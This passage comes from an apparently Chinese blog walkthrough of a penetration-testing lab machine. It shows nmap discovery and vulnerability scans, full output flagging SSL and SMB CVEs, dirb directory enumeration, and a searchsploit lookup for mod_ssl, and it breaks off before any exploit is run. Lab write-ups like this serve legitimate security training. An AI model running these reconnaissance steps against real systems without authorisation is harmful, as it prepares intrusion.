&lt;p&gt;输入 &lt;code&gt;nmap -sn kali的ip/24&lt;/code&gt;探查网段，实战过程是通过vpn链接，进去后能查看网段。或 &lt;code&gt;nmap -p- kali的ip/24&lt;/code&gt;探查所有网段。
&lt;img alt="image-20250123105930933" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105930933.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110740538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110740538.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现129有一个80端口，在kali浏览器中访问可以看到如下界面：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110557441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110557441.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来探查端口指纹&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123111133960" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111133960.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123111327130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111327130.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用漏洞扫描&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到输出&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;NSE Timing: About 0.00% done
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.00025s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;|_http-trace: TRACE is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;| http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;| /test.php: Test page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;| /icons/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;| /manual/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;|_ /usage/: Potentially interesting folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;443/tcp open https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;| ssl-poodle:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;| SSL POODLE information leak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2014-3566 BID:70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;| products, uses nondeterministic CBC padding, which makes it easier
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;| for man-in-the-middle attackers to obtain cleartext data via a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;| padding-oracle attack, aka the &amp;#34;POODLE&amp;#34; issue.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2014-10-14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;| TLS_RSA_WITH_3DES_EDE_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;| https://www.imperialviolet.org/2014/10/14/poodle.html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;| https://www.openssl.org/~bodo/ssl-poodle.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;|_ https://www.securityfocus.com/bid/70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;| ssl-dh-params:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2015-4000 BID:74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;| The Transport Layer Security (TLS) protocol contains a flaw that is
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;| triggered when handling Diffie-Hellman key exchanges defined with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;| to downgrade the security of a TLS session to 512-bit export-grade
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;| cryptography, which is significantly weaker, allowing the attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;| to more easily break the encryption and monitor or tamper with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;| the encrypted stream.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2015-5-19
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;| EXPORT-GRADE DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;| https://www.securityfocus.com/bid/74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;| https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;| Diffie-Hellman Key Exchange Insufficient Group Strength
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) services that use Diffie-Hellman groups
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;| of insufficient strength, especially those using one of a few commonly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;| shared groups, may be susceptible to passive eavesdropping attacks.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;| WEAK DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;|_ https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;| ssl-ccs-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;| SSL/TLS MITM vulnerability (CCS Injection)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;| Risk factor: High
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;| does not properly restrict processing of ChangeCipherSpec messages,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;| which allows man-in-the-middle attackers to trigger use of a zero
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;| length master key in certain OpenSSL-to-OpenSSL communications, and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;| consequently hijack sessions or obtain sensitive information, via
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;| a crafted TLS handshake, aka the &amp;#34;CCS Injection&amp;#34; vulnerability.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;| http://www.cvedetails.com/cve/2014-0224
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;| http://www.openssl.org/news/secadv_20140605.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;1024/tcp open kdm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:3B:F8:BB (VMware)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-054: false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;| smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;| denial of service (system crash) via an &amp;amp; (ampersand) character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;| aka &amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="目录扫描"&gt;目录扫描
&lt;/h3&gt;&lt;p&gt;从Nmap扫描的结果来看，它提示以下几个文件目录，可能有洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123113707992" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123113707992.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令扫描目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://192.168.139.129/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123114053886" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114053886.png"&gt;&lt;/p&gt;
&lt;p&gt;看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用（靶机会这样提示，实战要自己猜自己挖）。且从之前的Nmap扫描结果中看出，SSL存在漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123114614001" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114614001.png"&gt;&lt;/p&gt;
&lt;h3 id="ssl漏洞利用-80443端口"&gt;SSL漏洞利用 80/443端口
&lt;/h3&gt;&lt;p&gt;Kali终端中输入以下命令，查找可用的攻击方式。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit mod_ssl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123115109070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115109070.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123115239891" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115239891.png"&gt;&lt;/p&gt;
